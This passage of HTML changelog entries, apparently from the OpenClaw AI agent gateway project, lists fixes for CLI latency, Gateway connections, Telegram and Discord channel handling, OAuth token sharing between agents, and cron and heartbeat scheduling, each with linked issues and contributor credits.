<li>CLI/tools: keep the Gateway <code>tools.*</code> RPC namespace out of plugin command discovery and managed proxy startup, so stray commands like <code>openclaw tools effective</code> fail quickly instead of cold-loading plugin metadata. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4342227669" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73477" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73477/hovercard" href="https://github.com/openclaw/openclaw/issues/73477">#73477</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/oromeis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/oromeis">@oromeis</a>.</li>
<li>CLI/status: keep default text <code>openclaw status --usage</code> on metadata-only channel scans unless <code>--deep</code> or <code>--all</code> is set, and send stray <code>openclaw tools --help</code> through the precomputed root-help fast path so latency-triage commands avoid plugin/runtime cold loads before printing. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4342227669" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73477" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73477/hovercard" href="https://github.com/openclaw/openclaw/issues/73477">#73477</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4349031630" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74220" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74220/hovercard" href="https://github.com/openclaw/openclaw/pull/74220">#74220</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/oromeis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/oromeis">@oromeis</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/NianJiuZst/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/NianJiuZst">@NianJiuZst</a>.</li>
<li>Agents/diagnostics: trace embedded-run startup and preparation stage timings before model I/O, and warn only on severe slow stages, so Docker/VPS latency reports can identify whether plugin loading, auth/model resolution, tool inventory, bootstrap, MCP/LSP, resource loading, or stream setup is dominating pre-run latency without noisy normal logs. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4341750455" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73428" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73428/hovercard" href="https://github.com/openclaw/openclaw/issues/73428">#73428</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Dimaoggg/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Dimaoggg">@Dimaoggg</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/quangtran88/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/quangtran88">@quangtran88</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Heyvhuang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Heyvhuang">@Heyvhuang</a>.</li>
<li>Agents/subagents: cache persisted subagent run registry reads by file signature while preserving fresh-parse isolation, so busy gateways stop reparsing unchanged <code>subagents/runs.json</code> on controller/list/status hot paths. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4331750102" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72338" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72338/hovercard" href="https://github.com/openclaw/openclaw/issues/72338">#72338</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/argus-as/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/argus-as">@argus-as</a>.</li>
<li>Gateway/clients: wait for the event loop to become responsive before opening Gateway WebSocket RPC/probe/client connections while charging that readiness wait to caller timeouts, so Windows deferred module-evaluation stalls no longer turn healthy loopback gateways into false handshake timeouts across status, TUI, ACP, MCP, node-host, and plugin client paths. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4349780099" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74279" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74279/hovercard" href="https://github.com/openclaw/openclaw/issues/74279">#74279</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4082797740" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/48270" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/48270/hovercard" href="https://github.com/openclaw/openclaw/pull/48270">#48270</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wongcode/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wongcode">@wongcode</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joost-heijden/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joost-heijden">@joost-heijden</a>.</li>
<li>Gateway/Windows: read listener command lines via PowerShell before falling back to <code>wmic</code>, so restart health can recognize OpenClaw listeners on modern Windows installs and avoid long anonymous-port waits. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4349819170" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74280" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74280/hovercard" href="https://github.com/openclaw/openclaw/issues/74280">#74280</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zym951223/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zym951223">@zym951223</a>.</li>
<li>Plugins/runtime-deps: record process start-time in bundled dependency install locks and expire recycled-PID locks, so Docker gateway restarts recover from stale <code>.openclaw-runtime-deps.lock</code> directories without waiting through repeated five-minute timeouts. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4350782800" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74346" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74346/hovercard" href="https://github.com/openclaw/openclaw/issues/74346">#74346</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4350992165" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74361" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74361/hovercard" href="https://github.com/openclaw/openclaw/pull/74361">#74361</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jhsmith409/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jhsmith409">@jhsmith409</a>.</li>
<li>Plugins/runtime-deps: memoize packaged bundled runtime dist-mirror preparation after the first successful pass while keeping source-checkout mirrors refreshable, so constrained Docker/VPS installs avoid repeated root scans before chat turns. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4341750455" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73428" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73428/hovercard" href="https://github.com/openclaw/openclaw/issues/73428">#73428</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4341661895" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73421" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73421/hovercard" href="https://github.com/openclaw/openclaw/issues/73421">#73421</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4342776048" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73532" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73532/hovercard" href="https://github.com/openclaw/openclaw/issues/73532">#73532</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4342227669" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73477" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73477/hovercard" href="https://github.com/openclaw/openclaw/issues/73477">#73477</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Dimaoggg/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Dimaoggg">@Dimaoggg</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/oromeis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/oromeis">@oromeis</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/oadiazp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/oadiazp">@oadiazp</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jmfraga/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jmfraga">@jmfraga</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bstanbury/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bstanbury">@bstanbury</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/antoniusfelix/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/antoniusfelix">@antoniusfelix</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jkobject/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jkobject">@jkobject</a>.</li>
<li>Channels/Discord: treat bare numeric outbound targets that match the effective Discord DM allowlist as user DMs while preserving account-specific legacy <code>dm.allowFrom</code> precedence over inherited root <code>allowFrom</code>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4350101821" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74303" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74303/hovercard" href="https://github.com/openclaw/openclaw/pull/74303">#74303</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Squirbie/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Squirbie">@Squirbie</a>.</li>
<li>Channels/Discord/Slack: share one DM policy/allowlist resolver across runtime, setup, allowlist editing, and doctor repair, so legacy <code>dm.policy</code> / <code>dm.allowFrom</code> compatibility migrates to canonical <code>dmPolicy</code> / <code>allowFrom</code> without divergent access checks. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Squirbie/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Squirbie">@Squirbie</a>.</li>
<li>Control UI: make the chat sidebar split divider focusable, keyboard-resizable, ARIA-described, and pointer-event based so sidebar resizing works without a mouse. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BunsDev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BunsDev">@BunsDev</a>.</li>
<li>Agents/usage: keep PI embedded-run telemetry attributed to the resolved model provider instead of the PI harness label, so OpenRouter and other provider-backed turns report the right provider in session usage and traces. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Agents/attribution: send OpenClaw attribution headers on native OpenAI and Codex traffic, including SDK transports, realtime voice and TTS, device-code auth, WHAM usage, and remote embeddings, so PI-origin defaults no longer leak into provider requests. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Agents/auth: keep OAuth auth profiles inherited from the main agent read-through instead of copying refresh tokens into secondary agents, and refresh Codex app-server tokens against the owning store so multi-agent swarms avoid reused refresh-token failures. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4347764512" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74055" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74055/hovercard" href="https://github.com/openclaw/openclaw/issues/74055">#74055</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ClarityInvest/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ClarityInvest">@ClarityInvest</a>.</li>
<li>Channels/Telegram: honor <code>ALL_PROXY</code> / <code>all_proxy</code> and service-level <code>OPENCLAW_PROXY_URL</code> when constructing the HTTP/1-only Telegram Bot API transport, so Windows and service installs that rely on those proxy settings no longer fall back to direct egress. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4347549013" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74014" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74014/hovercard" href="https://github.com/openclaw/openclaw/issues/74014">#74014</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4348024807" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74086" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74086/hovercard" href="https://github.com/openclaw/openclaw/issues/74086">#74086</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SymbolStar/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SymbolStar">@SymbolStar</a>.</li>
<li>Channels/Telegram: keep raw host/network-unreachable Bot API connect failures non-fatal and route tagged polling uncaught exceptions through the Telegram restart path, so transient reachability failures no longer kill the Gateway or leave long polling stuck. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4202091022" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/60515" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/60515/hovercard" href="https://github.com/openclaw/openclaw/issues/60515">#60515</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4352759456" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74540" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74540/hovercard" href="https://github.com/openclaw/openclaw/issues/74540">#74540</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HemantSudarshan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HemantSudarshan">@HemantSudarshan</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/thacid22/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/thacid22">@thacid22</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ewimsatt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ewimsatt">@ewimsatt</a>.</li>
<li>Channels/Telegram: continue polling when <code>deleteWebhook</code> hits a transient network failure but <code>getWebhookInfo</code> confirms no webhook is configured, so startup does not retry cleanup forever after the webhook was already removed. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4348024807" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74086" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74086/hovercard" href="https://github.com/openclaw/openclaw/issues/74086">#74086</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4078467786" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/47384" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/47384/hovercard" href="https://github.com/openclaw/openclaw/pull/47384">#47384</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/clovericbot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/clovericbot">@clovericbot</a>.</li>
<li>Channels/Telegram: retry native quote replies without <code>reply_parameters.quote</code> when Telegram returns <code>QUOTE_TEXT_INVALID</code>, so stale or truncated quote excerpts no longer drop the whole reply. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4353246635" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74581" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74581/hovercard" href="https://github.com/openclaw/openclaw/issues/74581">#74581</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/moeedahmed/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/moeedahmed">@moeedahmed</a>.</li>
<li>Channels/Telegram: apply strict safe-send retry to inbound final replies when grammY wraps a pre-connect failure, while leaving ambiguous plain network envelopes single-shot to avoid duplicate visible messages. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4348834237" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74203" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74203/hovercard" href="https://github.com/openclaw/openclaw/issues/74203">#74203</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nanli2000cn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nanli2000cn">@nanli2000cn</a>.</li>
<li>Channels/Telegram: surface polling liveness warnings in channel status and doctor when a running long-poller has not completed <code>getUpdates</code> after startup grace or its transport activity is stale, so silent polling failures no longer look clean. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4350080484" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74299" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74299/hovercard" href="https://github.com/openclaw/openclaw/issues/74299">#74299</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lolaopenclaw/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lolaopenclaw">@lolaopenclaw</a>.</li>
<li>Channels/Telegram: publish webhook runtime state and warn when <code>setWebhook</code> has not completed after startup grace, so webhook-mode accounts no longer look healthy while registration is still failing or retrying. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4350080484" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74299" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74299/hovercard" href="https://github.com/openclaw/openclaw/issues/74299">#74299</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lolaopenclaw/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lolaopenclaw">@lolaopenclaw</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/martingarramon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/martingarramon">@martingarramon</a>.</li>
<li>Channels/Telegram: bound native command menu <code>deleteMyCommands</code> and <code>setMyCommands</code> Bot API calls and allow the same timeout-triggered transport fallback retry as other startup control calls, so Windows/WSL network stalls cannot leave command sync hanging behind an otherwise running provider. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4348024807" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74086" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74086/hovercard" href="https://github.com/openclaw/openclaw/issues/74086">#74086</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SymbolStar/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SymbolStar">@SymbolStar</a>.</li>
<li>ACP/commands: accept forwarded ACP timeout config controls in the OpenClaw bridge, treat unsupported discard-close controls as recoverable cleanup, and restore native <code>/verbose full</code> plus no-arg status behavior, so Discord command menus and nested ACP turns no longer fail on supported session controls. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Codex harness: interrupt and release native app-server turns that go quiet after an OpenClaw dynamic-tool response without sending <code>turn/completed</code>, so Discord and other chat lanes do not stay stuck in <code>processing</code>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Codex harness: bound OpenClaw dynamic tool responses to 30 seconds and fail closed with an explicit tool result when the app-server bridge would otherwise strand the turn in <code>processing</code>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>TUI/status: clear stale <code>streaming</code> footer state when a final event arrives after the active run was already cleared and no tracked runs remain, while preserving concurrent-run ownership and inactive local <code>/btw</code> terminal handling. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4244725441" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/64825" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/64825/hovercard" href="https://github.com/openclaw/openclaw/issues/64825">#64825</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4244930419" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/64842" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/64842/hovercard" href="https://github.com/openclaw/openclaw/pull/64842">#64842</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4244936758" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/64843" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/64843/hovercard" href="https://github.com/openclaw/openclaw/pull/64843">#64843</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4244944537" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/64847" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/64847/hovercard" href="https://github.com/openclaw/openclaw/pull/64847">#64847</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4244992206" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/64862" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/64862/hovercard" href="https://github.com/openclaw/openclaw/pull/64862">#64862</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/briandevans/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/briandevans">@briandevans</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Yanhu007/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Yanhu007">@Yanhu007</a>.</li>
<li>Channels/Discord: fail startup closed when Discord cannot resolve the bot's own identity and keep mention gating active when only configured mention patterns can detect mentions, so the provider no longer continues with a missing bot id. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4052146259" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/42219" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/42219/hovercard" href="https://github.com/openclaw/openclaw/issues/42219">#42219</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4077562944" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/46856" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/46856/hovercard" href="https://github.com/openclaw/openclaw/pull/46856">#46856</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4090797830" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/49218" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/49218/hovercard" href="https://github.com/openclaw/openclaw/pull/49218">#49218</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/education-01/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/education-01">@education-01</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BenediktSchackenberg/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BenediktSchackenberg">@BenediktSchackenberg</a>.</li>
<li>Channels/Discord: split long CJK replies at punctuation and code-point-safe fallback boundaries so Discord chunking stays readable without corrupting astral characters. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4037445222" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/38597" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/38597/hovercard" href="https://github.com/openclaw/openclaw/issues/38597">#38597</a>; repairs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4326906134" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71384" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/71384/hovercard" href="https://github.com/openclaw/openclaw/pull/71384">#71384</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/p3nchan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/p3nchan">@p3nchan</a>.</li>
<li>TUI: keep the streaming watchdog alive across active tool/lifecycle proof-of-life, pause it during disconnects, and reload history after stale reconnect runs so long-running chats stop flipping to false idle or hanging on stale streaming. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4291861236" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/69081" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/69081/hovercard" href="https://github.com/openclaw/openclaw/issues/69081">#69081</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/EenvoudJasper/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/EenvoudJasper">@EenvoudJasper</a>.</li>
<li>Browser/gateway: ignore Playwright dialog-close races from <code>Page.handleJavaScriptDialog</code> so browser automation no longer crashes the Gateway when a dialog disappears before Playwright accepts it. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4041670448" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/40067" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/40067/hovercard" href="https://github.com/openclaw/openclaw/pull/40067">#40067</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/randyjtw/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/randyjtw">@randyjtw</a>.</li>
<li>Cron/Gateway: defer missed isolated agent-turn catch-up out of the channel startup window, so overdue cron work cannot starve Discord or Telegram while providers connect after a restart. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Heartbeat/cron: defer heartbeat turns while cron work is active or queued, add opt-in <code>heartbeat.skipWhenBusy</code> for subagent/nested lane pressure, and retry busy skips without advancing the schedule so local Ollama hosts do not run heartbeat and cron prompts concurrently. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4105361592" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/50773" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/50773/hovercard" href="https://github.com/openclaw/openclaw/issues/50773">#50773</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/scottgl9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/scottgl9">@scottgl9</a>.</li>
<li>Agents/thinking: honor configured model <code>compat.supportedReasoningEfforts</code> entries that include <code>xhigh</code>, so custom OpenAI-compatible provider refs expose and validate <code>/think xhigh</code> consistently across command menus, Gateway sessions, agent CLI, and <code>llm-task</code>. Carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4087419491" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/48904" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/48904/hovercard" href="https://github.com/openclaw/openclaw/pull/48904">#48904</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Milchstrassse/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Milchstrassse">@Milchstrassse</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wufunc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wufunc">@wufunc</a>.</li>
